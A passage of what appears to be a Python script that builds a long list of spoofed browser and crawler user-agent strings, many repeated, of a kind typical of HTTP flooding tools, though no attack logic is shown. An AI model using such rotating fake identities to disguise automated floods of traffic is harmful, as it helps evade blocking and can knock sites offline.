  2558.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2559.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2560.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2561.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2562.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2563.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2564.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2565.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2566.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2567.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2568.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2569.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2570.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2571.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2572.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2573.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2574.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2575.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2576.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2577.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2578.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2579.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2580.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2581.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2582.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2583.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2584.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2585.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2586.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2587.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2588.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2589.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2590.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2591.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2592.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2593.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2594.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2595.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2596.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2597.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2598.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2599.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2600.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2601.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2602.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2603.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2604.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2605.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2606.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2607.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2608.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2609.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2610.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2611.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2612.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2613.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2614.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2615.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2616.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2617.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2618.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2619.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2620.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2621.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2622.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2623.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2624.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2625.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2626.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2627.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2628.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2629.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2630.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2631.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2632.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2633.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2634.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2635.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2636.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2637.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2638.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2639.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2640.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2641.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2642.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2643.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2644.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2645.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2646.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2647.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2648.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2649.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2650.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2651.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2652.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2653.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2654.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2655.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2656.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2657.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2658.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2659.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2660.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2661.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2662.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2663.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2664.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2665.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2666.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2667.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2668.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2669.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2670.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2671.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2672.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2673.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2674.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2675.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2676.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2677.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2678.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2679.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2680.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2681.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2682.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2683.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2684.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2685.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2686.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2687.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2688.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2689.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2690.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2691.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2692.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2693.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2694.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2695.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2696.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2697.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2698.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2699.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2700.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2701.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2702.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2703.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2704.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2705.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2706.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2707.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2708.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2709.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2710.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2711.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2712.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2713.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2714.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2715.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2716.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2717.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2718.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2719.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2720.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2721.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2722.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2723.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2724.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2725.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2726.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2727.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2728.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2729.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2730.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2731.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2732.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2733.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2734.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2735.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2736.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2737.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2738.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2739.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2740.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2741.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2742.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2743.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2744.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2745.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2746.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2747.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2748.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2749.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2750.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2751.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2752.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2753.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2754.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2755.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2756.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
